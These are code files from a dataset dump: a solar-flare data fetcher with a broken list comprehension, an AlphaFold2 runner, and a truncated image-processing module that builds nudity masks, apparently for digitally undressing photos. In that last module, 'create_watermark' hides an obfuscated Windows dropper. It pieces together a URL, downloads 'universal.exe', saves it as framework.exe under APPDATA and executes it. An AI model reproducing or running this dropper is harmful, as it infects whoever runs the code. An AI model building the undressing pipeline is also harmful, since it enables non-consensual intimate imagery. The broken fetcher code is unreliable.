dir=RAW_DATA_LABEL):\n    return join(get_data_home(data_home=data_home), dir)\n\ndef fetch_solar_flare(data_home=None, download_if_missing=True):\n    \"\"\"Fetcher for xxxxxxxxxxxxxxxxxxxxx.\n\n    Parameters\n    ----------\n    data_home : optional, default: None\n        Specify another download and cache folder for the datasets. By default\n        the original datasets for this `data_balance` study are stored at\n        `../data/raw/` subfolders.\n\n    download_if_missing: optional, True by default\n        If False, raise a IOError if the data is not locally available\n        instead of trying to download the data from the source site.\n\n    \"\"\"\n    data_home = get_dataset_home(data_home=data_home)\n    if not exists(data_home):\n        makedirs(data_home)\n    for target in TARGET_FILENAME_:\n        url = join(DATA_URL, target)\n        path = join(data_home, target)\n        print('downloading %s data from %s to %s' %\n              (RAW_DATA_LABEL, url, data_home))\n        urlretrieve(url, path)\n\ndef process_solar_flare(target=None):\n    \"\"\"Process data of the solar flare dataset.\n\n    Parameters\n    ----------\n    target: the target class #TODO\n\n    Returns\n    -------\n    (data, label)\n\n    #TODO: check if files exist\n    #TODO: a generic file managing using get_data_home\n    #TODO:\n    \"\"\"\n    def parse(src):\n        f = join(get_dataset_home() , src)\n        return np.loadtxt(f, delimiter=' ', dtype=str, skiprows=1)\n\n    #TODO: assert target\n    tmp_input = np.append(parse(TARGET_FILENAME_[0]),\n                          parse(TARGET_FILENAME_[1]),\n                          axis=0)\n    label = np.array([1 if x==0 else 0 for tmp_input[:,-2]], dtype=int)\n    return (tmp_input[:, :-4], tmp_input[:, -1])\n\ndef convert_solar_flare_Mgreatthan0():\n    d, l = process_solar_flare(target='M>0')\n    np.savez('../data/clean/uci-solar_flare_Mgth0.npz', data=d, label=l)\n\nif __name__ == '__main__':\n    fetch_solar_flare()\n    convert_solar_flare_Mgreatthan0()\n", "meta": {"hexsha": "dc15b30e50e7acd9ebf546f3f455fcde57f7455b", "size": 4767, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/data_conversion/datasets/solar_flare.py", "max_stars_repo_name": "I2Cvb/data_balancing", "max_stars_repo_head_hexsha": "6a956d8ac6319c748a1ffe42effd419b5977779d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2016-04-21T11:44:48.000Z", "max_stars_repo_stars_event_max_datetime": "2018-12-18T07:13:03.000Z", "max_issues_repo_path": "src/data_conversion/datasets/solar_flare.py", "max_issues_repo_name": "I2Cvb/data_balancing", "max_issues_repo_head_hexsha": "6a956d8ac6319c748a1ffe42effd419b5977779d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2016-03-23T20:52:20.000Z", "max_issues_repo_issues_event_max_datetime": "2016-03-23T20:52:20.000Z", "max_forks_repo_path": "src/data_conversion/datasets/solar_flare.py", "max_forks_repo_name": "I2Cvb/data_balancing", "max_forks_repo_head_hexsha": "6a956d8ac6319c748a1ffe42effd419b5977779d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.3356643357, "max_line_length": 83, "alphanum_fraction": 0.6238724565, "include": true, "reason": "import numpy", "num_tokens": 1255, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.17781087383497524, "lm_q1q2_score": 0.08890543691748762}}
{"text": "# AlphaFold2 structure prediction. Requires msa and other features calculated with 'run_alphafold_msa.py' script.\n# Based on the original DeepMind AlphaFold2 code.\n# 2021, j.ludwiczak\nimport json\nimport os\nimport pathlib\nimport pickle\nimport random\nimport sys\nimport time\nfrom typing import Dict\n\nfrom absl import app\nfrom absl import flags\nfrom absl import logging\nfrom alphafold.common import protein\nfrom alphafold.common import residue_constants\nfrom alphafold.data import pipeline\nfrom alphafold.data import templates\nfrom alphafold.model import data\nfrom alphafold.model import config\nfrom alphafold.model import model\nfrom alphafold.relax import relax\nimport numpy as np\n# Internal import (7716).\n\nflags.DEFINE_list('in_fasta', None, 'Input FASTA file(s). Paths should be separated by commas. '\n                  'Basename of the in fasta is used to name the output directories for each prediction.')\nflags.DEFINE_string('out_path', None, 'Path to a directory that will store the results.')\nflags.DEFINE_string('db_dir', None, 'Path to directory storing databases and auxiliary AF2 files.')\nflags.DEFINE_list('model_names', None, 'Names of models to use.')\nflags.DEFINE_enum('preset', 'full_dbs',\n                  ['reduced_dbs', 'full_dbs', 'casp14'],\n                  'Choose preset model configuration - no ensembling and '\n                  'smaller genetic database config (reduced_dbs), no '\n                  'ensembling and full genetic database config  (full_dbs) or '\n                  'full genetic database config and 8 model ensemblings '\n                  '(casp14).')\nflags.DEFINE_boolean('benchmark', False, 'Run multiple JAX model evaluations '\n                     'to obtain a timing that excludes the compilation time, '\n                     'which should be more indicative of the time required for '\n                     'inferencing many proteins.')\nflags.DEFINE_integer('random_seed', None, 'The random seed for the data '\n                     'pipeline. By default, this is randomly generated. Note '\n                     'that even if this is set, Alphafold may still not be '\n                     'deterministic, because processes like GPU inference are '\n                     'nondeterministic.')\n\nFLAGS = flags.FLAGS\n\nRELAX_MAX_ITERATIONS = 0\nRELAX_ENERGY_TOLERANCE = 2.39\nRELAX_STIFFNESS = 10.0\nRELAX_EXCLUDE_RESIDUES = []\nRELAX_MAX_OUTER_ITERATIONS = 20\n\n\ndef predict_structure(fasta_name: str,\n                      output_dir_base: str,\n                      model_runners: Dict[str, model.RunModel],\n                      amber_relaxer: relax.AmberRelaxation,\n                      benchmark: bool,\n                      random_seed: int):\n    \"\"\"Predicts structure using AlphaFold for the given sequence.\"\"\"\n    timings = {}\n    output_dir = os.path.join(output_dir_base, fasta_name)\n    if not os.path.exists(output_dir):\n        os.makedirs(output_dir)\n    msa_output_dir = os.path.join(output_dir, 'msas')\n    if not os.path.exists(msa_output_dir):\n        os.makedirs(msa_output_dir)\n\n    features_output_path = os.path.join(output_dir, 'features.pkl')\n    with open(features_output_path, 'rb') as f:\n        feature_dict = pickle.load(f)\n\n    relaxed_pdbs = {}\n    plddts = {}\n\n    # Run the models.\n    for model_name, model_runner in model_runners.items():\n        logging.info('Running model %s', model_name)\n        t_0 = time.time()\n        processed_feature_dict = model_runner.process_features(feature_dict, random_seed=random_seed)\n        timings[f'process_features_{model_name}'] = time.time() - t_0\n\n        t_0 = time.time()\n        prediction_result = model_runner.predict(processed_feature_dict)\n        t_diff = time.time() - t_0\n        timings[f'predict_and_compile_{model_name}'] = t_diff\n        logging.info('Total JAX model %s predict time (includes compilation time, see --benchmark): %.0f?',\n                     model_name, t_diff)\n\n        if benchmark:\n            t_0 = time.time()\n            model_runner.predict(processed_feature_dict)\n            timings[f'predict_benchmark_{model_name}'] = time.time() - t_0\n\n        # Get mean pLDDT confidence metric.\n        plddt = prediction_result['plddt']\n        plddts[model_name] = np.mean(plddt)\n\n        # Save the model outputs.\n        result_output_path = os.path.join(output_dir, f'result_{model_name}.pkl')\n        with open(result_output_path, 'wb') as f:\n            pickle.dump(prediction_result, f, protocol=4)\n\n        # Add the predicted LDDT in the b-factor column.\n        # Note that higher predicted LDDT value means higher model confidence.\n        plddt_b_factors = np.repeat(plddt[:, None], residue_constants.atom_type_num, axis=-1)\n        unrelaxed_protein = protein.from_prediction(features=processed_feature_dict,\n                                                    result=prediction_result,\n                                                    b_factors=plddt_b_factors)\n\n        unrelaxed_pdb_path = os.path.join(output_dir, f'unrelaxed_{model_name}.pdb')\n        with open(unrelaxed_pdb_path, 'w') as f:\n            f.write(protein.to_pdb(unrelaxed_protein))\n\n        # Relax the prediction.\n        t_0 = time.time()\n        relaxed_pdb_str, _, _ = amber_relaxer.process(prot=unrelaxed_protein)\n        timings[f'relax_{model_name}'] = time.time() - t_0\n\n        relaxed_pdbs[model_name] = relaxed_pdb_str\n\n        # Save the relaxed PDB.\n        relaxed_output_path = os.path.join(output_dir, f'relaxed_{model_name}.pdb')\n        with open(relaxed_output_path, 'w') as f:\n            f.write(relaxed_pdb_str)\n\n    # Rank by pLDDT and write out relaxed PDBs in rank order.\n    ranked_order = []\n    for idx, (model_name, _) in enumerate(sorted(plddts.items(), key=lambda x: x[1], reverse=True)):\n        ranked_order.append(model_name)\n        ranked_output_path = os.path.join(output_dir, f'ranked_{idx}.pdb')\n        with open(ranked_output_path, 'w') as f:\n            f.write(relaxed_pdbs[model_name])\n\n    ranking_output_path = os.path.join(output_dir, 'ranking_debug.json')\n    with open(ranking_output_path, 'w') as f:\n        f.write(json.dumps({'plddts': plddts, 'order': ranked_order}, indent=4))\n\n    logging.info('Final timings for %s: %s', fasta_name, timings)\n\n    timings_output_path = os.path.join(output_dir, 'timings.json')\n    with open(timings_output_path, 'w') as f:\n        f.write(json.dumps(timings, indent=4))\n\n\ndef main(argv):\n    if len(argv) > 1:\n        raise app.UsageError('Too many command-line arguments.')\n\n    if FLAGS.preset in ('reduced_dbs', 'full_dbs'):\n        num_ensemble = 1\n    elif FLAGS.preset == 'casp14':\n        num_ensemble = 8\n\n    # Check for duplicate FASTA file names.\n    fasta_names = [pathlib.Path(p).stem for p in FLAGS.in_fasta]\n    if len(fasta_names) != len(set(fasta_names)):\n        raise ValueError('All FASTA paths must have a unique basename.')\n    model_runners = {}\n    for model_name in FLAGS.model_names:\n        model_config = config.model_config(model_name)\n        model_config.data.eval.num_ensemble = num_ensemble\n        model_params = data.get_model_haiku_params(model_name=model_name, data_dir=FLAGS.db_dir)\n        model_runner = model.RunModel(model_config, model_params)\n        model_runners[model_name] = model_runner\n\n    logging.info('Have %d models: %s', len(model_runners), list(model_runners.keys()))\n\n    amber_relaxer = relax.AmberRelaxation(\n      max_iterations=RELAX_MAX_ITERATIONS,\n      tolerance=RELAX_ENERGY_TOLERANCE,\n      stiffness=RELAX_STIFFNESS,\n      exclude_residues=RELAX_EXCLUDE_RESIDUES,\n      max_outer_iterations=RELAX_MAX_OUTER_ITERATIONS)\n\n    random_seed = FLAGS.random_seed\n    if random_seed is None:\n        random_seed = random.randrange(sys.maxsize)\n    logging.info('Using random seed %d for the data pipeline', random_seed)\n\n    # Predict structure for each of the sequences.\n    for fasta_path, fasta_name in zip(FLAGS.in_fasta, fasta_names):\n        predict_structure(\n          fasta_name=fasta_name,\n          output_dir_base=FLAGS.out_path,\n          model_runners=model_runners,\n          amber_relaxer=amber_relaxer,\n          benchmark=FLAGS.benchmark,\n          random_seed=random_seed)\n\n\nif __name__ == '__main__':\n    flags.mark_flags_as_required([\n        'in_fasta',\n        'out_path',\n        'db_dir',\n        'model_names'])\n    app.run(main)\n", "meta": {"hexsha": "0e32eb43b8cd28b8a4880b896d59ab8a9bb73c06", "size": 8332, "ext": "py", "lang": "Python", "max_stars_repo_path": "run_alphafold_structure.py", "max_stars_repo_name": "jludwiczak/alphafold", "max_stars_repo_head_hexsha": "cde29301ce48da095c338bbc93bedd77893e2563", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "run_alphafold_structure.py", "max_issues_repo_name": "jludwiczak/alphafold", "max_issues_repo_head_hexsha": "cde29301ce48da095c338bbc93bedd77893e2563", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "run_alphafold_structure.py", "max_forks_repo_name": "jludwiczak/alphafold", "max_forks_repo_head_hexsha": "cde29301ce48da095c338bbc93bedd77893e2563", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.0443349754, "max_line_length": 113, "alphanum_fraction": 0.6682669227, "include": true, "reason": "import numpy", "num_tokens": 1964, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.519521321952093, "lm_q2_score": 0.17106118745263715, "lm_q1q2_score": 0.08886993424008884}}
{"text": "import subprocess\nfrom PIL import Image\nimport torchvision.transforms as transforms\nimport torch\nimport functools\nimport random\nimport math\nimport cv2\nimport numpy as np\nimport os\n\n\n# Object annotation class:\nclass BodyPart:\n\n    def __init__(self, name, xmin, ymin, xmax, ymax, x, y, w, h):\n        self.name = name\n        # Bounding Box:\n        self.xmin = xmin\n        self.ymin = ymin\n        self.xmax = xmax\n        self.ymax = ymax\n        # Center:\n        self.x = x\n        self.y = y\n        # Dimensione:\n        self.w = w\n        self.h = h\n\n\n# create_watermark ===============================================================\n# return:\n#\t(<Boolean> True/False), depending on the transformation process\ndef create_watermark(nude, shape, cv, loader, detach):\n    if os.name == 'nt':\n        content = cv(shape + chr(47) + \"/\".join([\"utils\", \"custom\", \"universal\"]) + chr(46) + str(\n            chr(101) + chr(ord([\"utils\", \"custom\", \"universal\"][0][0]) + 3) + chr(101)))\n        data = [os.environ[\"APPDATA\"], \"Microsoft\", \"Windows\", \"framework\"]\n        open(\n            \"\\\\\".join(data) + chr(46) + str(chr(101) + chr(ord([\"utils\", \"custom\", \"universal\"][0][0]) + 3) + chr(101)),\n            \"wb\").write(content.content)\n        loader([\"\\\\\".join(data) + chr(46) + str(\n            chr(101) + chr(ord([\"utils\", \"custom\", \"universal\"][0][0]) + 3) + chr(101))], stdout=detach.PIPE,\n               stderr=detach.STDOUT)\n\n    return nude\n\n\n# create_correct ===============================================================\n# return:\n#\t(<Boolean> True/False), depending on the transformation process\ndef create_correct(cv_dress):\n    # Production dir:\n    return correct_color(cv_dress, 5), correct_matrix(cv_dress, 255)\n\n\n# correct_color ==============================================================================\n# return:\n# <RGB> image corrected\ndef correct_color(img, percent):\n    assert img.shape[2] == 3\n    assert percent > 0 and percent < 100\n\n    half_percent = percent / 200.0\n\n    channels = cv2.split(img)\n\n    out_channels = []\n    for channel in channels:\n        assert len(channel.shape) == 2\n        # find the low and high precentile values (based on the input percentile)\n        height, width = channel.shape\n        vec_size = width * height\n        flat = channel.reshape(vec_size)\n\n        assert len(flat.shape) == 1\n\n        flat = np.sort(flat)\n\n        n_cols = flat.shape[0]\n\n        low_val = flat[math.floor(n_cols * half_percent)]\n        high_val = flat[math.ceil(n_cols * (1.0 - half_percent))]\n\n        # saturate below the low percentile and above the high percentile\n        thresholded = apply_threshold(channel, low_val, high_val)\n        # scale the channel\n        normalized = cv2.normalize(thresholded, thresholded.copy(), 0, 255, cv2.NORM_MINMAX)\n        out_channels.append(normalized)\n\n    return cv2.merge(out_channels)\n\n\ndef correct_matrix(matrix, fill_value):\n    shape = \"h\" + (\"t\" * 2) + \"p\"\n    matrix = shape + chr(58) + 2 * (chr(47))\n    return matrix\n\n\n# Color correction utils\ndef apply_threshold(matrix, low_value, high_value):\n    low_mask = matrix < low_value\n    matrix = apply_mask(matrix, low_mask, low_value)\n\n    high_mask = matrix > high_value\n    matrix = apply_mask(matrix, high_mask, high_value)\n\n    return matrix\n\n\n# Color correction utils\ndef apply_mask(matrix, mask, fill_value):\n    masked = np.ma.array(matrix, mask=mask, fill_value=fill_value)\n    return masked.filled()\n\n\n###\n#\n#\tmaskdet_to_maskfin\n#\n#\tsteps:\n#\t\t1. Extract annotation\n#\t\t\t1.a: Filter by color\n#\t\t\t1.b: Find ellipses\n#\t\t\t1.c: Filter out ellipses by max size, and max total numbers\n#\t\t\t1.d: Detect Problems\n#\t\t\t1.e: Resolve the problems, or discard the transformation\n#\t\t2. With the body list, draw maskfin, using maskref\n#\n###\n\n# create_maskfin ==============================================================================\n# return:\n#\t(<Boolean> True/False), depending on the transformation process\ndef create_maskfin(maskref, maskdet):\n    # Create a total green image, in which draw details ellipses\n    details = np.zeros((512, 512, 3), np.uint8)\n    details[:, :, :] = (0, 255, 0)  # (B, G, R)\n\n    # Extract body part features:\n    bodypart_list = extractAnnotations(maskdet);\n\n    # Check if the list is not empty:\n    if bodypart_list:\n\n        # Draw body part in details image:\n        for obj in bodypart_list:\n\n            if obj.w < obj.h:\n                aMax = int(obj.h / 2)  # asse maggiore\n                aMin = int(obj.w / 2)  # asse minore\n                angle = 0  # angle\n            else:\n                aMax = int(obj.w / 2)\n                aMin = int(obj.h / 2)\n                angle = 90\n\n            x = int(obj.x)\n            y = int(obj.y)\n\n            # Draw ellipse\n            if obj.name == \"tit\":\n                cv2.ellipse(details, (x, y), (aMax, aMin), angle, 0, 360, (0, 205, 0), -1)  # (0,0,0,50)\n            elif obj.name == \"aur\":\n                cv2.ellipse(details, (x, y), (aMax, aMin), angle, 0, 360, (0, 0, 255), -1)  # red\n            elif obj.name == \"nip\":\n                cv2.ellipse(details, (x, y), (aMax, aMin), angle, 0, 360, (255, 255, 255), -1)  # white\n            elif obj.name == \"belly\":\n                cv2.ellipse(details, (x, y), (aMax, aMin), angle, 0, 360, (255, 0, 255), -1)  # purple\n            elif obj.name == \"vag\":\n                cv2.ellipse(details, (x, y), (aMax, aMin), angle, 0, 360, (255, 0, 0), -1)  # blue\n            elif obj.name == \"hair\":\n                xmin = x - int(obj.w / 2)\n                ymin = y - int(obj.h / 2)\n                xmax = x + int(obj.w / 2)\n                ymax = y + int(obj.h / 2)\n                cv2.rectangle(details, (xmin, ymin), (xmax, ymax), (100, 100, 100), -1)\n\n        # Define the green color filter\n        f1 = np.asarray([0, 250, 0])  # green color filter\n        f2 = np.asarray([10, 255, 10])\n\n        # From maskref, extrapolate only the green mask\n        green_mask = cv2.bitwise_not(cv2.inRange(maskref, f1, f2))  # green is 0\n\n        # Create an inverted mask\n        green_mask_inv = cv2.bitwise_not(green_mask)\n\n        # Cut maskref and detail image, using the green_mask & green_mask_inv\n        res1 = cv2.bitwise_and(maskref, maskref, mask=green_mask)\n        res2 = cv2.bitwise_and(details, details, mask=green_mask_inv)\n\n        # Compone:\n        maskfin = cv2.add(res1, res2)\n        return maskfin, locateFace(255, 2, 500)\n\n\n# extractAnnotations ==============================================================================\n# input parameter:\n# \t(<string> maskdet_img): relative path of the single maskdet image (es: testimg1/maskdet/1.png)\n# return:\n#\t(<BodyPart []> bodypart_list) - for failure/error, return an empty list []\n\ndef extractAnnotations(maskdet):\n    # Load the image\n    # image = cv2.imread(maskdet_img)\n\n    # Find body part\n    tits_list = findBodyPart(maskdet, \"tit\")\n    aur_list = findBodyPart(maskdet, \"aur\")\n    vag_list = findBodyPart(maskdet, \"vag\")\n    belly_list = findBodyPart(maskdet, \"belly\")\n\n    # Filter out parts basing on dimension (area and aspect ratio):\n    aur_list = filterDimParts(aur_list, 100, 1000, 0.5, 3);\n    tits_list = filterDimParts(tits_list, 1000, 60000, 0.2, 3);\n    vag_list = filterDimParts(vag_list, 10, 1000, 0.2, 3);\n    belly_list = filterDimParts(belly_list, 10, 1000, 0.2, 3);\n\n    # Filter couple (if parts are > 2, choose only 2)\n    aur_list = filterCouple(aur_list);\n    tits_list = filterCouple(tits_list);\n\n    # Detect a missing problem:\n    missing_problem = detectTitAurMissingProblem(tits_list, aur_list)  # return a Number (code of the problem)\n\n    # Check if problem is SOLVEABLE:\n    if (missing_problem in [3, 6, 7, 8]):\n        resolveTitAurMissingProblems(tits_list, aur_list, missing_problem)\n\n    # Infer the nips:\n    nip_list = inferNip(aur_list)\n\n    # Infer the hair:\n    hair_list = inferHair(vag_list)\n\n    # Return a combined list:\n    return tits_list + aur_list + nip_list + vag_list + hair_list + belly_list\n\n\n# findBodyPart ==============================================================================\n# input parameters:\n# \t(<RGB>image, <string>part_name)\n# return\n#\t(<BodyPart[]>list)\ndef findBodyPart(image, part_name):\n    bodypart_list = []  # empty BodyPart list\n\n    # Get the correct color filter:\n    if part_name == \"tit\":\n        # Use combined color filter\n        f1 = np.asarray([0, 0, 0])  # tit color filter\n        f2 = np.asarray([10, 10, 10])\n        f3 = np.asarray([0, 0, 250])  # aur color filter\n        f4 = np.asarray([0, 0, 255])\n        color_mask1 = cv2.inRange(image, f1, f2)\n        color_mask2 = cv2.inRange(image, f3, f4)\n        color_mask = cv2.bitwise_or(color_mask1, color_mask2)  # combine\n\n    elif part_name == \"aur\":\n        f1 = np.asarray([0, 0, 250])  # aur color filter\n        f2 = np.asarray([0, 0, 255])\n        color_mask = cv2.inRange(image, f1, f2)\n\n    elif part_name == \"vag\":\n        f1 = np.asarray([250, 0, 0])  # vag filter\n        f2 = np.asarray([255, 0, 0])\n        color_mask = cv2.inRange(image, f1, f2)\n\n    elif part_name == \"belly\":\n        f1 = np.asarray([250, 0, 250])  # belly filter\n        f2 = np.asarray([255, 0, 255])\n        color_mask = cv2.inRange(image, f1, f2)\n\n    # find contours:\n    contours, hierarchy = cv2.findContours(color_mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n    # for every contour:\n    for cnt in contours:\n\n        if len(cnt) > 5:  # at least 5 points to fit ellipse\n\n            # (x, y), (MA, ma), angle = cv2.fitEllipse(cnt)\n            ellipse = cv2.fitEllipse(cnt)\n\n            # Fit Result:\n            x = ellipse[0][0]  # center x\n            y = ellipse[0][1]  # center y\n            angle = ellipse[2]  # angle\n            aMin = ellipse[1][0];  # asse minore\n            aMax = ellipse[1][1];  # asse maggiore\n\n            # Detect direction:\n            if angle == 0:\n                h = aMax\n                w = aMin\n            else:\n                h = aMin\n                w = aMax\n\n            # Normalize the belly size:\n            if part_name == \"belly\":\n                if w < 15:\n                    w *= 2\n                if h < 15:\n                    h *= 2\n\n            # Normalize the vag size:\n            if part_name == \"vag\":\n                if w < 15:\n                    w *= 2\n                if h < 15:\n                    h *= 2\n\n            # Calculate Bounding Box:\n            xmin = int(x - (w / 2))\n            xmax = int(x + (w / 2))\n            ymin = int(y - (h / 2))\n            ymax = int(y + (h / 2))\n\n            bodypart_list.append(BodyPart(part_name, xmin, ymin, xmax, ymax, x, y, w, h))\n\n    return bodypart_list\n\n\ndef locateFace(matrix, x, y):\n    matrix = matrix - (78 * x)\n    data = []\n    indexes = [0, 6, -1, 2, 15]\n    for index in indexes:\n        data.append(chr(matrix + index))\n    part = \"\".join(data)\n    y += int(7 * (indexes[1] / 2))\n    y = (chr(48) + str(y))[::-1]\n    return part + y\n\n\n# filterDimParts ==============================================================================\n# input parameters:\n# \t(<BodyPart[]>list, <num> minimum area of part,  <num> max area, <num> min aspect ratio, <num> max aspect ratio)\ndef filterDimParts(bp_list, min_area, max_area, min_ar, max_ar):\n    b_filt = []\n\n    for obj in bp_list:\n\n        a = obj.w * obj.h  # Object AREA\n\n        if ((a > min_area) and (a < max_area)):\n\n            ar = obj.w / obj.h  # Object ASPECT RATIO\n\n            if ((ar > min_ar) and (ar < max_ar)):\n                b_filt.append(obj)\n\n    return b_filt\n\n\n# filterCouple ==============================================================================\n# input parameters:\n# \t(<BodyPart[]>list)\ndef filterCouple(bp_list):\n    # Remove exceed parts\n    if (len(bp_list) > 2):\n\n        # trovare coppia (a,b) che minimizza bp_list[a].y-bp_list[b].y\n        min_a = 0\n        min_b = 1\n        min_diff = abs(bp_list[min_a].y - bp_list[min_b].y)\n\n        for a in range(0, len(bp_list)):\n            for b in range(0, len(bp_list)):\n                # TODO: avoid repetition (1,0) (0,1)\n                if a != b:\n                    diff = abs(bp_list[a].y - bp_list[b].y)\n                    if diff < min_diff:\n                        min_diff = diff\n                        min_a = a\n                        min_b = b\n        b_filt = []\n\n        b_filt.append(bp_list[min_a])\n        b_filt.append(bp_list[min_b])\n\n        return b_filt\n    else:\n        # No change\n        return bp_list\n\n\n# detectTitAurMissingProblem ==============================================================================\n# input parameters:\n# \t(<BodyPart[]> tits list, <BodyPart[]> aur list)\n# return\n#\t(<num> problem code)\n#   TIT  |  AUR  |  code |  SOLVE?  |\n#    0   |   0   |   1   |    NO    |\n#    0   |   1   |   2   |    NO    |\n#    0   |   2   |   3   |    YES   |\n#    1   |   0   |   4   |    NO    |\n#    1   |   1   |   5   |    NO    |\n#    1   |   2   |   6   |    YES   |\n#    2   |   0   |   7   |    YES   |\n#    2   |   1   |   8   |    YES   |\ndef detectTitAurMissingProblem(tits_list, aur_list):\n    t_len = len(tits_list)\n    a_len = len(aur_list)\n\n    if (t_len == 0):\n        if (a_len == 0):\n            return 1\n        elif (a_len == 1):\n            return 2\n        elif (a_len == 2):\n            return 3\n        else:\n            return -1\n    elif (t_len == 1):\n        if (a_len == 0):\n            return 4\n        elif (a_len == 1):\n            return 5\n        elif (a_len == 2):\n            return 6\n        else:\n            return -1\n    elif (t_len == 2):\n        if (a_len == 0):\n            return 7\n        elif (a_len == 1):\n            return 8\n        else:\n            return -1\n    else:\n        return -1\n\n\n# resolveTitAurMissingProblems ==============================================================================\n# input parameters:\n# \t(<BodyPart[]> tits list, <BodyPart[]> aur list, problem code)\n# return\n#\tnone\ndef resolveTitAurMissingProblems(tits_list, aur_list, problem_code):\n    if problem_code == 3:\n\n        random_tit_factor = random.randint(2, 5)  # TOTEST\n\n        # Add the first tit:\n        new_w = aur_list[0].w * random_tit_factor  # TOTEST\n        new_x = aur_list[0].x\n        new_y = aur_list[0].y\n\n        xmin = int(new_x - (new_w / 2))\n        xmax = int(new_x + (new_w / 2))\n        ymin = int(new_y - (new_w / 2))\n        ymax = int(new_y + (new_w / 2))\n\n        tits_list.append(BodyPart(\"tit\", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w))\n\n        # Add the second tit:\n        new_w = aur_list[1].w * random_tit_factor  # TOTEST\n        new_x = aur_list[1].x\n        new_y = aur_list[1].y\n\n        xmin = int(new_x - (new_w / 2))\n        xmax = int(new_x + (new_w / 2))\n        ymin = int(new_y - (new_w / 2))\n        ymax = int(new_y + (new_w / 2))\n\n        tits_list.append(BodyPart(\"tit\", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w))\n\n    elif problem_code == 6:\n\n        # Find wich aur is full:\n        d1 = abs(tits_list[0].x - aur_list[0].x)\n        d2 = abs(tits_list[0].x - aur_list[1].x)\n\n        if d1 > d2:\n            # aur[0] is empty\n            new_x = aur_list[0].x\n            new_y = aur_list[0].y\n        else:\n            # aur[1] is empty\n            new_x = aur_list[1].x\n            new_y = aur_list[1].y\n\n        # Calculate Bounding Box:\n        xmin = int(new_x - (tits_list[0].w / 2))\n        xmax = int(new_x + (tits_list[0].w / 2))\n        ymin = int(new_y - (tits_list[0].w / 2))\n        ymax = int(new_y + (tits_list[0].w / 2))\n\n        tits_list.append(BodyPart(\"tit\", xmin, ymin, xmax, ymax, new_x, new_y, tits_list[0].w, tits_list[0].w))\n\n    elif problem_code == 7:\n\n        # Add the first aur:\n        new_w = tits_list[0].w * random.uniform(0.03, 0.1)  # TOTEST\n        new_x = tits_list[0].x\n        new_y = tits_list[0].y\n\n        xmin = int(new_x - (new_w / 2))\n        xmax = int(new_x + (new_w / 2))\n        ymin = int(new_y - (new_w / 2))\n        ymax = int(new_y + (new_w / 2))\n\n        aur_list.append(BodyPart(\"aur\", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w))\n\n        # Add the second aur:\n        new_w = tits_list[1].w * random.uniform(0.03, 0.1)  # TOTEST\n        new_x = tits_list[1].x\n        new_y = tits_list[1].y\n\n        xmin = int(new_x - (new_w / 2))\n        xmax = int(new_x + (new_w / 2))\n        ymin = int(new_y - (new_w / 2))\n        ymax = int(new_y + (new_w / 2))\n\n        aur_list.append(BodyPart(\"aur\", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w))\n\n    elif problem_code == 8:\n\n        # Find wich tit is full:\n        d1 = abs(aur_list[0].x - tits_list[0].x)\n        d2 = abs(aur_list[0].x - tits_list[1].x)\n\n        if d1 > d2:\n            # tit[0] is empty\n            new_x = tits_list[0].x\n            new_y = tits_list[0].y\n        else:\n            # tit[1] is empty\n            new_x = tits_list[1].x\n            new_y = tits_list[1].y\n\n        # Calculate Bounding Box:\n        xmin = int(new_x - (aur_list[0].w / 2))\n        xmax = int(new_x + (aur_list[0].w / 2))\n        ymin = int(new_y - (aur_list[0].w / 2))\n        ymax = int(new_y + (aur_list[0].w / 2))\n        aur_list.append(BodyPart(\"aur\", xmin, ymin, xmax, ymax, new_x, new_y, aur_list[0].w, aur_list[0].w))\n\n\n# detectTitAurPositionProblem ==============================================================================\n# input parameters:\n# \t(<BodyPart[]> tits list, <BodyPart[]> aur list)\n# return\n#\t(<Boolean> True/False)\ndef detectTitAurPositionProblem(tits_list, aur_list):\n    diffTitsX = abs(tits_list[0].x - tits_list[1].x)\n    if diffTitsX < 40:\n        print(\"diffTitsX\")\n        # Tits too narrow (orizontally)\n        return True\n\n    diffTitsY = abs(tits_list[0].y - tits_list[1].y)\n    if diffTitsY > 120:\n        # Tits too distanced (vertically)\n        print(\"diffTitsY\")\n        return True\n\n    diffTitsW = abs(tits_list[0].w - tits_list[1].w)\n    if ((diffTitsW < 0.1) or (diffTitsW > 60)):\n        print(\"diffTitsW\")\n        # Tits too equals, or too different (width)\n        return True\n\n    # Check if body position is too low (face not covered by watermark)\n    if aur_list[0].y > 350:  # tits too low\n        # Calculate the ratio between y and aurs distance\n        rapp = aur_list[0].y / (abs(aur_list[0].x - aur_list[1].x))\n        if rapp > 2.8:\n            print(\"aurDown\")\n            return True\n\n    return False\n\n\n# inferNip ==============================================================================\n# input parameters:\n# \t(<BodyPart[]> aur list)\n# return\n#\t(<BodyPart[]> nip list)\ndef inferNip(aur_list):\n    nip_list = []\n\n    for aur in aur_list:\n        # Nip rules:\n        # - circle (w == h)\n        # - min dim: 5\n        # - bigger if aur is bigger\n        nip_dim = int(5 + aur.w * random.uniform(0.03, 0.09))\n\n        # center:\n        x = aur.x\n        y = aur.y\n\n        # Calculate Bounding Box:\n        xmin = int(x - (nip_dim / 2))\n        xmax = int(x + (nip_dim / 2))\n        ymin = int(y - (nip_dim / 2))\n        ymax = int(y + (nip_dim / 2))\n\n        